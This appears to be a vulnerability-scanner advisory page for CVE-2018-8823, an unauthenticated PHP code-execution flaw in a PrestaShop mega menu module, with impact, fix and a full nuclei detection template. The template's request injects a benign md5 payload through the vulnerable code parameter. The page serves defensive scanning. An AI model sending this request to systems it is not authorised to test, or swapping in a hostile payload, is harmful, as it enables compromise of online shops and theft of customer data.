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CVE-2018-8823· responsive mega menu pro project / responsive mega menu pro· CWE-94

PrestaShop Responsive Mega Menu Module - Remote Code Execution

criticalseverity
9.8CVSS score
50.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The 'Responsive Mega Menu' module for PrestaShop is prone to a remote code execution and SQL injection vulnerability. modules/bamegamenu/ajax_phpcode.php in the Responsive Mega Menu (Horizontal+Vertical+Dropdown) Pro module 1.0.32 for PrestaShop allows remote attackers to execute an SQL injection or remote code execution through function calls in the code parameter.

Impact

Unauthenticated attackers can execute arbitrary PHP code or SQL commands through the module, leading to complete PrestaShop compromise and access to customer data.

Fix

Remove the vulnerable Responsive Mega Menu Pro module or upgrade to a patched version.

How to confirm it

Send: GET {{BaseURL}}/modules/bamegamenu/ajax_phpcode.php?code=print(md5({{num}}))
Positive when: contains "{{md5(num)}}" AND status 200

Run it with nuclei: nuclei -id CVE-2018-8823 -u <target>

The full check
id: CVE-2018-8823

info:
  name: PrestaShop Responsive Mega Menu Module - Remote Code Execution
  author: MaStErChO
  severity: critical
  description: |
    The 'Responsive Mega Menu' module for PrestaShop is prone to a remote code execution and SQL injection vulnerability. modules/bamegamenu/ajax_phpcode.php in the Responsive Mega Menu (Horizontal+Vertical+Dropdown) Pro module 1.0.32 for PrestaShop allows remote attackers to execute an SQL injection or remote code execution through function calls in the code parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code or SQL commands through the module, leading to complete PrestaShop compromise and access to customer data.
  remediation: |
    Remove the vulnerable Responsive Mega Menu Pro module or upgrade to a patched version.
  reference:
    - https://vulners.com/openvas/OPENVAS:1361412562310144185
    - https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
    - https://github.com/advisories/GHSA-q937-6mg8-6rgc
    - https://nvd.nist.gov/vuln/detail/CVE-2018-8823
    - https://github.com/zapalm/prestashop-security-vulnerability-checker
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-8823
    cwe-id: CWE-94
    epss-score: 0.50398
    epss-percentile: 0.98921
    cpe: cpe:2.3:a:responsive_mega_menu_pro_project:responsive_mega_menu_pro:1.0.32:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: responsive_mega_menu_pro_project
    product: responsive_mega_menu_pro
    framework: prestashop
    shodan-query: http.component:"prestashop"
  tags: cve,cve2018,prestashop,rce,sqli,responsive_mega_menu_pro_project,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/bamegamenu/ajax_phpcode.php?code=print(md5({{num}}))"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from